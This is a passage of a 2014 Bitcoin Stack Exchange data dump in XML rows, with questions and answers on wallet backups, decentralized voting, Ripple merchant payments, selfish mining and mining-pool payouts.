  <row Id="25647" PostTypeId="2" ParentId="25643" CreationDate="2014-05-28T03:04:56.227" Score="2" Body="&lt;p&gt;At the time of asking, this functionality wasn't supported in Namecoin. I've written a patch that adds this and a few other properties to Namecoin's getblock RPC call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/namecoin/namecoin/issues/87&quot; rel=&quot;nofollow&quot;&gt;https://github.com/namecoin/namecoin/issues/87&lt;/a&gt;&#xA;&lt;a href=&quot;https://gist.github.com/ryancdotorg/5e610e9ee546beed367d&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/ryancdotorg/5e610e9ee546beed367d&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5414" LastActivityDate="2014-05-28T03:04:56.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25648" PostTypeId="2" ParentId="25642" CreationDate="2014-05-28T03:28:13.880" Score="1" Body="&lt;p&gt;In multibit, under the help menu option you can open the help contents. Under Wallet Backups you can read the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MultiBit does this automatically in the background using special files that are described in detail in the File descriptions article. These files can often be used to recover your wallet automatically should a problem occur.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the File Descriptions article you can read the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For the purpose of illustration, imagine you have created a new wallet called saving.wallet. Please refer to the relevant help section for your version below (use the 'About MultiBit' menu option if required).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Wallet files for MultiBit version 0.5.13 and later&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Here is a list of the files stored with your wallet:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;saving.wallet  =  This is the main wallet file containing your    private keys and transactions. &lt;/li&gt;&#xA;  &lt;li&gt;saving.info  =  This file contains the    description of the wallet and the labels you have given to your    addresses. &lt;/li&gt;&#xA;  &lt;li&gt;saving-data  =  A directory containing your wallet backup    files. &lt;/li&gt;&#xA;  &lt;li&gt;saving-data/key-backup  =  A directory containing your    automatically generated private key export files.    &lt;/li&gt;&#xA;  &lt;li&gt;saving-data/rolling-backup  =  A directory containing your rolling    wallet backups. &lt;/li&gt;&#xA;  &lt;li&gt;saving-data/wallet-backup  =  A directory containing    your encrypted wallet backups. &lt;/li&gt;&#xA;  &lt;li&gt;saving-data/wallet-unenc-backup  =  A    directory containing your unencrypted wallet backups.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Private key backups.&lt;/strong&gt; In your private key backup directory you will have files called 'saving-YYYYMMDDHHMMSS.key'. Here the YYYYMMDDHHMMSS&#xA;  is a timestamp. With an encrypted wallet every time you add or change&#xA;  the password, add a receiving address or import private keys an&#xA;  encrypted, timestamped export of your private keys is created. This is&#xA;  encrypted with your wallet password. You can use these to recover the&#xA;  essentials of your wallet by importing one of these files into a new&#xA;  wallet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This should at least put you in the right direction.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2014-05-28T03:28:13.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25649" PostTypeId="1" AcceptedAnswerId="25651" CreationDate="2014-05-28T03:56:38.783" Score="4" ViewCount="431" Body="&lt;p&gt;Has the fundamental problem in cryptovoting, one person, one vote, in a completely decentralized or blockchain centric manner been solved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, how can votes be allocated in a decentralized manner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intent of this question presupposes that vote allocation is not delivered by a state, that a blockchain itself can at the very least implement a completely basic, pure democracy: truly one person, one vote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this intent be implemented?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="5406" LastEditorDisplayName="user5107" LastEditDate="2020-06-29T15:40:50.407" LastActivityDate="2020-06-29T15:40:50.407" Title="Decentralized democratic voting" Tags="|address|alternatives|decentralization|voting|" AnswerCount="2" CommentCount="4" ClosedDate="2014-07-02T08:53:35.673" ContentLicense="CC BY-SA 3.0" />
  <row Id="25651" PostTypeId="2" ParentId="25649" CreationDate="2014-05-28T05:33:33.963" Score="0" Body="&lt;p&gt;This problem is not solved by the blockchain or the Bitcoin protocol. By &quot;cryptovoting&quot; I'm assuming that you mean that an individual signs his or her vote with his or her private key. The problem is that anybody can generate a new private key on a whim. The private key would have to be verifiably tied to one individual's identity, and that individual's identity would have to be exclusive to all other entities in the voting network. (DNAcoin maybe? kinda cool, kinda scary)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I just googled DNAcoin and obviously found a thread on Bitcoin talk: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=187991.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=187991.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While a Bitcoin-based voting system could implement a &quot;1 vote per 1 private key&quot; rule, the pseudo-anonymous nature of the Bitcoin network makes it nearly impossible to know if an individual has generated two private keys (unless the transactions make it apparent that it is the same individual). Generating a private key is as easy as flipping a coin 256 times and recording the results as 1 or 0, then converting that into hex (or &lt;a href=&quot;http://en.wikipedia.org/wiki/Tonal_system&quot; rel=&quot;nofollow&quot;&gt;tonal&lt;/a&gt; if you're Luke-jr).&lt;/p&gt;&#xA;" OwnerUserId="14325" LastActivityDate="2014-05-28T05:33:33.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25652" PostTypeId="1" AcceptedAnswerId="38507" CreationDate="2014-05-28T08:03:44.550" Score="1" ViewCount="1341" Body="&lt;p&gt;I have a wallet.dat which has so many addresses in it. Like 1, 2, 3, 4, ....., 1234324234 addresses. (Each number is address)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I backed up original wallet.dat, and I want to use this light wallet.dat from now on.&#xA;This light wallet.dat has only 1, 2, 3, .... 100 addresses in it I think.&#xA;(keypool size was 100)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both wallet.dat has same address &quot;1&quot;, so is it okay to sending all coins to address &quot;1&quot; and use light wallet.dat after that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may cause sending to address &quot;1&quot; from &quot;1&quot;. Is it okay?&lt;/p&gt;&#xA;" OwnerUserId="16998" LastActivityDate="2015-07-10T05:32:22.040" Title="Is it safe to send to my own address from my wallet?" Tags="|address|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25653" PostTypeId="2" ParentId="25652" CreationDate="2014-05-28T08:43:51.700" Score="1" Body="&lt;p&gt;I think you need to understand a lot more about public and private key cryptography first. It sounds like you have no idea what the address actually is or how it's used in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, the standard client does generate addresses in advance, and these are used by the client when you request the &quot;creation&quot; of a new address. But if you (or rather your client) does not know the private key associated with the address, you will lose your bitcoins forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore you need to know both the address that you are sending to and the private key, to be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I recommend that you learn about your wallet and how it works by using your bitcoin client in testnet mode first.&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-05-28T08:43:51.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25654" PostTypeId="2" ParentId="25649" CreationDate="2014-05-28T09:07:49.913" Score="-2" Body="&lt;p&gt;Except if a Voting Authority of the State assign the keys in the first place. Maybe it could issue VoteCoin e.g. where the price to buy it is not fluctuating, allowing it to fund referendums. It also allows for voting on whether to have a referendum or not, etc. Too many possibilities.&lt;/p&gt;&#xA;" OwnerUserId="17000" LastActivityDate="2014-05-28T09:07:49.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25657" PostTypeId="2" ParentId="25498" CreationDate="2014-05-28T11:09:15.960" Score="1" Body="&lt;p&gt;Yes, there is a mathematical grounding behind this, namely &lt;a href=&quot;http://en.wikipedia.org/wiki/Poisson_distribution&quot; rel=&quot;nofollow&quot;&gt;Poisson distribution&lt;/a&gt;. See &lt;a href=&quot;https://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Satoshi's original paper&lt;/a&gt; (last pages) for some details about calculating the odds of a successful double spend attack given a certain portion of the networks computation capacity. This also means of course that networks with a larger hashing power are more susceptible to an attack than networks with lower hashing power.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-05-28T11:09:15.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25662" PostTypeId="1" CreationDate="2014-05-28T18:18:48.913" Score="4" ViewCount="93" Body="&lt;p&gt;I want, as a merchant, to receive money from my customers in the form of&#xA;bitcoins, to avoid the 2~4% fees. But many of my customers don't have&#xA;BitCoins. I was wondering if there is a service that would allow for a customer to&#xA;spend X amount of USD (or any other currency) to buy the corresponding&#xA;amount of BTC &quot;on the fly&quot;, without requiring customers to have BitCoins or&#xA;even a BTC wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such a service?&lt;/p&gt;&#xA;" OwnerUserId="17006" LastEditorDisplayName="user4276" LastEditDate="2014-05-29T15:40:52.833" LastActivityDate="2014-05-29T15:40:52.833" Title="Is there an on the fly service to exchange physical currency for BTC for payment processing?" Tags="|exchanges|payment-processors|" AnswerCount="2" CommentCount="2" ClosedDate="2014-05-30T08:21:19.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="25664" PostTypeId="2" ParentId="22744" CreationDate="2014-05-28T20:10:49.020" Score="4" Body="&lt;p&gt;To get the full picture of &lt;a href=&quot;https://blockchain.info/tx/1a558999f1360e95406c39ada43121fc2441ca5600e39f5d5a3bd3c494b9aae9&quot; rel=&quot;nofollow&quot;&gt;this transaction&lt;/a&gt; (1a55...), you must also get information on the input transactions, &lt;a href=&quot;https://blockchain.info/tx/a83dc6dc8e375eb9c63db531f298fd426b94f80167fc1d164a89b353442aa44a&quot; rel=&quot;nofollow&quot;&gt;a83d...&lt;/a&gt; and &lt;a href=&quot;https://blockchain.info/tx/a15332b9b61c2f1f8777efaaa5f652e0a4daf213fb266c2e8deef9479ece26f1&quot; rel=&quot;nofollow&quot;&gt;a153...&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The input for a83d has &lt;code&gt;&quot;vout&quot; : 0&lt;/code&gt;, which means it's the &lt;em&gt;first&lt;/em&gt; output that we'll be spending here. If you pull up the info on a83d, you'll find that its first output was for 0.05 BTC to address 1QKj... Similarly, a153 with a &lt;code&gt;vout&lt;/code&gt; of &lt;code&gt;1&lt;/code&gt; means we'll spend the second output. The second output there was 0.00319234 BTC to address 1PK5... These are our input amounts and addresses. The &lt;code&gt;scriptSig&lt;/code&gt; contains the public keys corresponding to these addresses and the signed messages allowing the transaction. It's worth noting that from these public keys, you can calculate the input addresses, but not the amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The outputs are a little more straightforward: &lt;code&gt;value&lt;/code&gt; is the amount, and the address is under &lt;code&gt;addresses&lt;/code&gt;. These show that 0.05 BTC goes to 1BJC... and 0.00299234 BTC goes to 1RFK... Note that the outputs contain only addresses (in the raw form, they are the hexadecimal numbers like 70f2...), not public keys. The sum of inputs is a little larger than the sum of outputs. The difference, 0.0002 BTC here, is the transaction fee, that goes to the miner that finds a block with the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A likely interpretation of this transaction is that one person owns addresses 1QKj and 1PK5; he sent 0.05 BTC to 1BJC, and received his change at 1RFK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details and explanations on how Bitcoin transactions work, see &lt;a href=&quot;http://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/&quot; rel=&quot;nofollow&quot;&gt;How the Bitcoin protocol actually works&lt;/a&gt; by Michael Nielsen and the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;Transactions&lt;/a&gt; page on the wiki.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-28T20:10:49.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25665" PostTypeId="2" ParentId="25630" CreationDate="2014-05-28T21:11:42.813" Score="0" Body="&lt;p&gt;The 33% I believe came from reports last year about a 'selfish mining' strategy which claimed originally that 33% of the hashrate can be used to manipulate nodes to secure the remainder necessary for the full 50%,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The high-level overview of the attack is this: rather than acting as a normal miner and publishing blocks to the network immediately upon finding them, the attacker selectively publishes blocks, sometimes sacrificing his own revenue but also often publishing many blocks all at once and thus forcing the rest of the network to discard blocks and lose revenue. This does reduce the attacker’s revenue in the short term, but it reduces everyone else’s revenue even more, so neutral nodes now have the incentive to join the attacker’s coalition to increase their own revenue. Eventually, the attacker’s coalition would expand to above 50% in size, potentially giving the attacker a high degree of control over the network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://bitcoinmagazine.com/7953/selfish-mining-a-25-attack-against-the-bitcoin-network/&quot; rel=&quot;nofollow&quot;&gt;bitcoin magazine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I think greed and profit motive would prevent anyone risking this strategy, over simply mining honestly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I really dont think double spending ought be a concern. Its not affecting the supply rate / total quantity of coins and, if someone attempted to do a double spend, they would be delivering into the hands of the victim of their crime, irrefutable evidence of themselves as the perpetrator (the signed double spending transaction). If merchants simply refrain from selling hugely valuable items to anonymous persons/parties (common sense) there likely will never be a case of fraud using this method.&lt;/p&gt;&#xA;" OwnerUserId="16928" LastActivityDate="2014-05-28T21:11:42.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25666" PostTypeId="2" ParentId="25662" CreationDate="2014-05-28T21:24:59.640" Score="2" Body="&lt;p&gt;I don't know of any third parties that provide this service. I do know of a few (&lt;a href=&quot;http://www.gyft.com/bitcoin/&quot; rel=&quot;nofollow&quot;&gt;Example&lt;/a&gt;) that provide the opposite, where a customer has bitcoin, but the merchant will not accept it, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem here is that these customers (in your scenario) would be giving a credit card for payment. They have up to 30 days to claim the charges are fraudulent and unless you have some good proof that they are not, you will not get your money from them. In your example, they would be buying bitcoin with it, which would then be transferred to you, leaving this third party carrying all the risk. The only way I, personally, would run a business like this is with high fees to offset the high risk. You might at well just raise prices 2~4%. It's easier and is becoming more common for brick and mortar shops to do this for card purchases and not cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difference with the reverse situation, where the customer has bitcoin and the merchant will not accept it, is that there is very little risk. The customer is buying money with the bitcoin and once the bitcoin transaction is verified it is permanent.&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastActivityDate="2014-05-28T21:24:59.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25670" PostTypeId="2" ParentId="25662" CreationDate="2014-05-29T04:39:48.917" Score="2" Body="&lt;p&gt;No, there isn't such a service right now because the trust problem hasn't been adequately solved. As a result, you can choose speed or a (relatively) low transaction cost when purchasing bitcoins, but not both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I too have high hopes for Ripple, which is explicitly designed to solve the trust issue by linking two parties that don't trust each other through a chain of parties that do trust each other, but there is substantial delay when transferring funds from the regular financial system into the ripple system.&lt;/p&gt;&#xA;" OwnerUserId="17008" LastActivityDate="2014-05-29T04:39:48.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25672" PostTypeId="2" ParentId="25613" CreationDate="2014-05-29T08:11:57.070" Score="0" Body="&lt;p&gt;From the description of ripple, I believe that an unusual system of payments for merchant's goods is possible, not quite like the ususal one in a fixed currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(So here I'll describe this interesting system, leaving the answer concerning organizing a traditional payment system for a customer to other people.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if the merchant's goods is the curency? Similar to bonus systems some merchants offer. Then &lt;strong&gt;the merchant should actually act as a gateway&lt;/strong&gt; (shouldn't they?), and redeem real goods for their IOUs. And their IOUs can be traded by other people for other currencies, the price depending on how much the goods from this merchant are wanted, and how much they trust the merchant (that the merchant will keep the promise).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the merchant would initially sell their IOUs for other money, or give them out according to their wishes, and then these IOUs can be traded, and returned back to the merchant for the goods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the merchant constantly sells these IOUs, it shouldn't be a problem for someone to pay with other money, because he would be able to immediately buy the merchant's IOUs in ripple, and then redee, them for the goods.&lt;/p&gt;&#xA;" OwnerUserId="817" LastActivityDate="2014-05-29T08:11:57.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25673" PostTypeId="2" ParentId="17296" CreationDate="2014-05-29T12:43:24.410" Score="0" Body="&lt;p&gt;I recommend using the information given &lt;a href=&quot;https://bitcointalk.org/index.php?topic=22697.0&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. I once managed to use it to recover wallets that resisted all other salvage methods I tried. (Casascius mentions full drive scanning in this post, but that is not needed if you have the wallet file).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-05-29T12:43:24.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25676" PostTypeId="1" AcceptedAnswerId="25681" CreationDate="2014-05-29T13:50:24.140" Score="7" ViewCount="502" Body="&lt;p&gt;I don't want to limit myself to just using Bitcoin on my site, especially when there are other interesting Alt-coins on the market.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure I can use Ripple to accept Bitcoin, however I'm unsure how to set this up.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain how I can do this?  (and then redeem my ripple-for-Bitcoin receivable)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2014-05-29T16:52:04.693" Title="How can I use Ripple to accept Bitcoin, USD, and other currencies on my site?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25677" PostTypeId="1" AcceptedAnswerId="25714" CreationDate="2014-05-29T13:51:47.413" Score="7" ViewCount="197" Body="&lt;p&gt;Does Ripple reduce the risk of double-spending, or other types of issues that may crop up when using Bitcoin natively?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="817" LastEditDate="2014-05-29T15:40:30.217" LastActivityDate="2014-06-06T13:14:29.087" Title="Does using Ripple to accept Bitcoin reduce risk of Bitcoin fraud?" Tags="|ripple|doublespend|payment|risk-mitigation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25680" PostTypeId="2" ParentId="25613" CreationDate="2014-05-29T16:23:11.503" Score="5" Body="&lt;p&gt;There are some existing sources of information for merchants wishing to use Ripple:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Brief &lt;a href=&quot;https://ripple.com/partners/#merchants&quot; rel=&quot;nofollow&quot;&gt;introduction&lt;/a&gt; and &lt;a href=&quot;https://ripple.com/merchants/&quot; rel=&quot;nofollow&quot;&gt;overview&lt;/a&gt; of Ripple for merchants&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ripple.com/wiki/Main_Page#Merchants&quot; rel=&quot;nofollow&quot;&gt;Merchant's section/pages on the Ripple wiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you are looking for something pre-implemented and easy to add to an existing automated web commerce check-out page, there isn't much available along those lines at the moment. Ripple is still in beta and the server and client code still appear to be the focus of attention. However, there has been a recent small bounty offered for the community to develop &lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=21&amp;amp;t=6614&quot; rel=&quot;nofollow&quot;&gt;shopping cart plug-ins that use Ripple&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's easier for sites that have a manual check-out process as they can just add a &lt;a href=&quot;https://ripple.com/wiki/Ripple_URIs&quot; rel=&quot;nofollow&quot;&gt;Ripple URI&lt;/a&gt; for customers to use and the merchant can manually check for received payments with the existing Ripple client (or use a third party tool such as &lt;a href=&quot;https://wasipaid.com&quot; rel=&quot;nofollow&quot;&gt;wasipaid&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic process for a merchant to use Ripple is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a Ripple address to receive funds (one time setup).&lt;/li&gt;&#xA;&lt;li&gt;Create payment paths in Ripple for the funds you wish to receive (e.g. trust a gateway for USD or EUR, etc) (one time setup).&lt;/li&gt;&#xA;&lt;li&gt;Supply a &lt;a href=&quot;https://ripple.com/wiki/Ripple_URIs&quot; rel=&quot;nofollow&quot;&gt;Ripple URI&lt;/a&gt;, possibly with a nice &quot;Pay via Ripple&quot; button that customers can use to initiate Ripple payments with their Ripple client. This can use a unique &quot;destination tag&quot; and/or &quot;invoice ID&quot; to distinguish individual Ripple payments. The Ripple client will offer the customer payment options using whatever assets they have for which it can find a payment path.&lt;/li&gt;&#xA;&lt;li&gt;Manually or automatically watch for updates to the Ripple ledger to detect when payments are made. Make sure to handle partial payments (e.g. update a balance payable field) and to handle over-payments (e.g. return the excess, since Ripple payments are non-reversible and a reverse path may not exist for the currency being used this can be non-trivial). This is the &quot;big&quot; step where automation or plug-ins would be helpful, especially in handling all the corner cases.&lt;/li&gt;&#xA;&lt;li&gt;Release/ship the thing being sold.&lt;/li&gt;&#xA;&lt;li&gt;Periodically extract the received funds via Ripple, e.g. withdraw your balance in Ripple through a gateway into a bank account. Alternative, use the funds within Ripple.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="3364" LastEditDate="2014-05-29T17:53:22.780" LastActivityDate="2014-05-29T17:53:22.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25681" PostTypeId="2" ParentId="25676" CreationDate="2014-05-29T16:52:04.693" Score="6" Body="&lt;p&gt;You may also be interested in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/25680/3364&quot;&gt;an answer to &quot;How to accept payments via Ripple on a website&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on if it makes sense to you to price your product or service in Bitcoin or in some other currency. For example, if your costs and profit margins are based in EUR then it makes sense to set your price in EUR (even if you'll later turn that into bitcoin). No matter what units/currency you denominate your price in, with Ripple people can pay using whatever assets they hold which Ripple can find a payment path for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you want to set your price in bitcoin and end up with bitcoin in your private bitcoin wallet you could do something like the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a Ripple address&lt;/li&gt;&#xA;&lt;li&gt;Chose one (or more) of the Ripple gateways that support bitcoin. You're looking for one that you trust to (temporarily) hold your bitcoin for you, that has low (or zero) fees, that has good liquidity, etc. Add trust lines to in BTC to that gateway for an amount that you are comfortable with (or to multiple gateways in various amounts).&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://ripple.com/wiki/Ripple_URIs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ripple URIs&lt;/a&gt; on your site to help customers initiate Ripple payments with their client. The customer will then be given the option to pay with any of their assets for which paths exist.&lt;/li&gt;&#xA;&lt;li&gt;Periodically use the bitcoin bridge or withdraw via your Ripple gateway to get your BTC Ripple balance as bitcoin into your bitcoin wallet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could use a service such as &lt;a href=&quot;https://dividendrippler.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;DividendRippler&lt;/a&gt; to attach a Bitcoin address to a Ripple address. Using DividendRippler you can generate a Ripple payment URI that sends BTC to their Ripple address with a destination tag generated for you and DividendRipple then forwards recieved BTC onto the blockchain to the address you've provided.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-05-29T16:52:04.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25682" PostTypeId="2" ParentId="25677" CreationDate="2014-05-29T17:12:06.260" Score="4" Body="&lt;p&gt;With Bitcoin there are various ways to mitigate the risks and issues you mention to allow some use of payments with zero confirmations instead of waiting for sufficient confirmations to be sure the payment is irreversible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Ripple, once a transaction is validated it is irreversible. Ripple transactions usually validate within seconds (5-20 seconds depending on various things). So no such mitigation is required and double spends and related issues are not a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, within Ripple for any currency other than native XRP, the balance/asset that is irreversibly transferred is a balance with another party. Until you redeem that balance (or spend/trade it within Ripple) you have counter-party risks that bitcoin doesn't have (at least bitcoin in wallet/address you directly control). Although the risks are explicitly limited by &quot;trust lines&quot; you've setup in Ripple (e.g. you may trust Bitstamp for 10 BTC and DividendRippler for 2 BTC) and require no trust in the payment sender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This risk is analogous to receiving PayPal or BitPay payments. Until they transfer your funds to your bank (and possibly even after that depending on your bank) you're relying on them to make good on their balance to you. Also analogous to using a hosted Bitcoin wallet or other intermediary service where you rely on that party to hold your funds temporarily.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-05-29T17:12:06.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25683" PostTypeId="1" AcceptedAnswerId="25685" CreationDate="2014-05-29T18:31:40.630" Score="3" ViewCount="1541" Body="&lt;p&gt;I have mined a bit on both pools. Slush builds up an amount in your account and once it passes a threshold that you set, &lt;a href=&quot;https://blockchain.info/tx/098643d509ad4d9ce80cf0c68252ac8343e81aae4cae5c7e1383339c98a0baac&quot; rel=&quot;nofollow&quot;&gt;Slush sends you a payout that comes from another wallet.&lt;/a&gt; Eligius sets the threshold (and it is quite low too), and once your &quot;account&quot; passes it, &lt;a href=&quot;https://blockchain.info/tx/0a323a7af3bc23e4752d62e3a0b42a6fb1716bd8cfc11f77d0d30d4c4099425d&quot; rel=&quot;nofollow&quot;&gt;Eligius sends out the payment directly from the newly generated coins.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have enough imagination to see how Slush's pool and site manage the workers and send out the payments, but I cannot wrap my head around how Eligius does it that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does Eligius pay miners directly from the newly generated coins? What are the pros and cons of this compared to how Slush does it? Are there other pools that do the same thing? Is this only possible with BTC and it's clones or can Litecoin pools do it too?&lt;/p&gt;&#xA;" OwnerDisplayName="user4276" LastEditorUserId="2306" LastEditDate="2014-10-31T03:13:03.170" LastActivityDate="2014-12-16T22:40:40.980" Title="Compared to Slush's pool, how exactly does Eligius payout owed bitcoins to the miners?" Tags="|mining-pools|pool-payout-methods|eligius|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25685" PostTypeId="2" ParentId="25683" CreationDate="2014-05-29T19:21:25.733" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How does Eligius pay miners directly from the newly generated coins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It simply generates the coinbase transaction to include payments directly to its miners, instead of only a transaction to itself.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are the pros and cons of this compared to how Slush does it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here are some I can think of:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No transaction fees necessary for these payouts (except for the opportunity cost of some transactions you're &lt;em&gt;not&lt;/em&gt; including in the block; but unless the block is at the max size, this is 0 cost)&lt;/li&gt;&#xA;&lt;li&gt;Some people like having freshly minted coins, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=18313.msg944443#msg944443&quot; rel=&quot;nofollow noreferrer&quot;&gt;for anonymity&lt;/a&gt; and just because it's cool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Harder to predict when you'll get a payout (because you have to wait for the pool to find a block)&lt;/li&gt;&#xA;&lt;li&gt;If you're far down the queue, it might take several blocks and/or a manual payout before you finally get your payment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there other pools that do the same thing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/3990/12034&quot;&gt;Yes, at least a few.&lt;/a&gt; BitPenny and P2Pool, for instance.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this only possible with BTC and it's clones or can Litecoin pools do it too?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's possible with any Bitcoin-like coin, including 